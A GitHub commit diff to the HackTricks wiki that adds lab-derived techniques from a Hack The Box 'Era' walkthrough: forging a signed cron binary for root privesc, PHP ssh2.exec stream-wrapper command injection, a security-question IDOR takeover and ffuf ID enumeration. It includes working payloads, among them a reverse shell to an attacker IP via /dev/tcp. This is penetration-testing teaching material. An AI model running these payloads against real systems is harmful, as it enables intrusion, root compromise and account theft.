Skip to content

Commit 3417d46

Browse files
authored
Merge pull request #1620 from HackTricks-wiki/update_HTB__Era___IDORs__PHP_ssh2_exec_Wrapper_RCE__and_C_20251129_183001
HTB Era – IDORs, PHP ssh2.exec Wrapper RCE, and Custom-Signe...
2 parents a363e12 + 5afabe9 commit 3417d46

File tree

4 files changed

+89
-1
lines changed

4 files changed

+89
-1
lines changed

src/linux-hardening/privilege-escalation/README.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -503,6 +503,28 @@ If the script executed by root uses a **directory where you have full access**,
503503
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
504504
```
505505

506+
### Custom-signed cron binaries with writable payloads
507+
Blue teams sometimes "sign" cron-driven binaries by dumping a custom ELF section and grepping for a vendor string before executing them as root. If that binary is group-writable (e.g., `/opt/AV/periodic-checks/monitor` owned by `root:devs 770`) and you can leak the signing material, you can forge the section and hijack the cron task:
508+
509+
1. Use `pspy` to capture the verification flow. In Era, root ran `objcopy --dump-section .text_sig=text_sig_section.bin monitor` followed by `grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin` and then executed the file.
510+
2. Recreate the expected certificate using the leaked key/config (from `signing.zip`):
511+
```bash
512+
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
513+
```
514+
3. Build a malicious replacement (e.g., drop a SUID bash, add your SSH key) and embed the certificate into `.text_sig` so the grep passes:
515+
```bash
516+
gcc -fPIC -pie monitor.c -o monitor
517+
objcopy --add-section .text_sig=cert.pem monitor
518+
objcopy --dump-section .text_sig=text_sig_section.bin monitor
519+
strings text_sig_section.bin | grep 'Era Inc.'
520+
```
521+
4. Overwrite the scheduled binary while preserving execute bits:
522+
```bash
523+
cp monitor /opt/AV/periodic-checks/monitor
524+
chmod 770 /opt/AV/periodic-checks/monitor
525+
```
526+
5. Wait for the next cron run; once the naive signature check succeeds, your payload runs as root.
527+
506528
### Frequent cron jobs
507529

508530
You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
@@ -1774,6 +1796,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
17741796
## References
17751797
17761798
- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html)
1799+
- [0xdf – HTB Era: forged .text_sig payload for cron-executed monitor](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
17771800
- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui)
17781801
17791802

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -226,6 +226,32 @@ Check ther page:
226226
php-ssrf.md
227227
{{#endref}}
228228

229+
## ssh2.exec stream wrapper RCE
230+
When the `ssh2` extension is installed (`ssh2.so` visible under `/etc/php*/mods-available/`, `php -m`, or even an FTP-accessible `php8.1_conf/` directory), PHP registers `ssh2.*` wrappers that can be abused anywhere user input is concatenated into `fopen()/file_get_contents()` targets. An admin-only download helper such as:
231+
232+
```php
233+
$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
234+
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
235+
```
236+
237+
is enough to execute shell commands over localhost SSH:
238+
239+
```http
240+
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
241+
```
242+
243+
* The credential portion can reuse any leaked system password (e.g., from cracked bcrypt hashes).
244+
* The trailing `#` comments out the server-side suffix (`files/<id>.zip`), so only your command runs.
245+
* Blind RCE is confirmed by watching for egress with `tcpdump -ni tun0 icmp` or by serving an HTTP canary.
246+
247+
Swap the command for a reverse shell payload once validated:
248+
249+
```http
250+
format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
251+
```
252+
253+
Because everything happens inside the PHP worker, the TCP connection originates from the target and inherits the privileges of the injected account (`yuri`, `eric`, etc.).
254+
229255
## Code execution
230256

231257
**system("ls");**\
@@ -509,4 +535,7 @@ $_=$$____;
509535
$___($_[_]); // ASSERT($_POST[_]);
510536
```
511537
538+
## References
539+
- [0xdf – HTB Era: abusing ssh2.exec stream wrappers](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
540+
512541
{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-web/account-takeover.md

Lines changed: 21 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,26 @@ hacking-with-cookies/
7979
reset-password.md
8080
{{#endref}}
8181

82+
## Security-question resets that trust client-supplied usernames
83+
If an "update security questions" flow takes a `username` parameter even though the caller is already authenticated, you can overwrite any account's recovery data (including admins) because the backend typically runs `UPDATE ... WHERE user_name = ?` with your untrusted value. The pattern is:
84+
85+
1. Log in with a throwaway user and capture the session cookie.
86+
2. Submit the victim username plus new answers via the reset form.
87+
3. Immediately authenticate through the security-question login endpoint using the answers you just injected to inherit the victim's privileges.
88+
89+
```http
90+
POST /reset.php HTTP/1.1
91+
Host: file.era.htb
92+
Cookie: PHPSESSID=<low-priv>
93+
Content-Type: application/x-www-form-urlencoded
94+
95+
username=admin_ef01cab31aa&new_answer1=A&new_answer2=B&new_answer3=C
96+
```
97+
98+
Anything gated by the victim's `$_SESSION` context (admin dashboards, dangerous stream-wrapper features, etc.) is now exposed without touching the real answers.
99+
100+
Enumerated usernames can then be targeted via the overwrite technique above or reused against ancillary services (FTP/SSH password spraying).
101+
82102
## **Response Manipulation**
83103

84104
If the authentication response could be **reduced to a simple boolean just try to change false to true** and see if you get any access.
@@ -133,6 +153,6 @@ With the new login, although different cookies might be generated the old ones b
133153

134154
- [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050)
135155
- [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea)
136-
156+
- [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
137157
{{#include ../banners/hacktricks-training.md}}
138158

src/pentesting-web/idor.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,21 @@ for id in $(seq 64185742 64185700); do
3838
done
3939
```
4040

41+
### Enumerating predictable download IDs (ffuf)
42+
Authenticated file-hosting panels often store per-user metadata in a single `files` table and expose a download endpoint such as `/download.php?id=<int>`. If the handler only checks whether the ID exists (and not whether it belongs to the authenticated user), you can sweep the integer space with your valid session cookie and steal other tenants' backups/configs:
43+
44+
```bash
45+
ffuf -u http://file.era.htb/download.php?id=FUZZ \
46+
-H "Cookie: PHPSESSID=<session>" \
47+
-w <(seq 0 6000) \
48+
-fr 'File Not Found' \
49+
-o hits.json
50+
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
51+
```
52+
53+
* `-fr` removes 404-style templates so only true hits remain (e.g., IDs 54/150 leaking full site backups and signing material).
54+
* The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.
55+
4156
---
4257

4358
### Error-response oracle for user/file enumeration
@@ -108,4 +123,5 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces
108123
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
109124
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
110125
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
126+
* [0xdf – HTB Era: predictable download IDs → backups and signing keys](https://0xdf.gitlab.io/2025/11/29/htb-era.html)
111127
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)